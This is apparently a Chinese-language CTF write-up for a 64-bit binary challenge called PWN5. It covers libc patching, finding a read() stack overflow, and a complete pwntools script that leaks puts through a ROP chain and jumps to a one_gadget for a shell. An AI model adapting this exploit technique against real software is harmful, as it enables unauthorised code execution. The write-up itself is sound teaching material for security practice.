PWN5 WriteUp

Eutopia's Blog

Posted by Eutopia on October 23, 2023

PWN5

考点

  • ldd, patchelf命令以及依赖库版本的了解
  • 对ASLR机制的理解
  • one_gadget工具使用

解题过程

  • 首先使用checksec, files查看程序基本信息:

checksec

file

​ 可见程序为64位,开启DEP保护,为动态链接的程序。

  • 使用ldd命令检查程序运行所需的依赖库,其中包括程序所依赖的C函数库libc.so.6以及动态链接器 ld-linux-x86-64.so.2 的路径

ldd

  • 使用 patchelf 替换 libcld 到指定版本,该步骤目的是将本地运行环境调整到与预期一致。 libcld 的版本必须匹配,题中给定了 libc-2.23.so ,因此需要2.23版本的 ld

ldd-1

  • 使用ida打开,反编译:

main:

main

stack_flow: read函数存在漏洞

stack_flow

  • 使用ROPgadget工具查找程序中是否有system函数和"/bin/sh"字符串,结果表明并没有,因此需要自行输入字符串,并从动态链接库中查找system函数的偏移

system&bin_sh

  • 构造脚本获取到puts函数在libc中的相对偏移:

    from pwn import *
      
      
    libc= ELF('./libc-2.23.so')
      
    libc_puts_offset = libc.symbols['puts']
    print(hex(libc_puts_offset))
    

puts_related_addr

  • 使用one_gadget工具获取到命令地址exceve("/bin/sh")

one_gadget

  • 构造python脚本实现"/bin/sh"字符串的输入。
from pwn import *

# 启动进程
context(arch='amd64', log_level='debug')
p = process('./pwn5')

elf = ELF("./pwn5")
p.recvuntil("Give me your payload\n")

# 参数地址
libc= ELF('./libc-2.23.so')
libc_puts_offset = libc.symbols['puts']
print(hex(libc_puts_offset))
libc_system_offset = libc.symbols['system']
print(hex(libc_system_offset))
libc_one_gadget_offset = 0x0f1247

pop_rdi = 0x400613
puts_plt = elf.plt["puts"]
puts_got = elf.got["puts"]
main_addr = 0x400587

# 构造payload泄漏puts函数地址
payload1 = flat(b'a'*(0x20 + 8), pop_rdi, puts_got, puts_plt, main_addr)
p.send(payload1)
puts_libc = p.recv(6)
puts_libc = u64(puts_libc.ljust(8, b'\x00'))
success(hex(puts_libc))

libc_base = puts_libc - libc_puts_offset
success(hex(libc_base))
one_gadget = libc_base + libc_one_gadget_offset
print(hex(one_gadget))

payload2 = b'a'*(0x20 + 8) + p64(one_gadget)
p.recvuntil("Give me your payload\n")
# gdb.attach(p, 'b *0x400585')
p.send(payload2)
p.interactive()
  • 重要的函数地址以及偏移量:
函数 地址
main 0x0000000000400587
stack_overflow 0x0000000000400566
stack_overflow_leave 0x0000000000400585
pop_rdi 0x0000000000400613
one_gadget 0x0f1247

结果

成功执行命令:

image-20231001182756684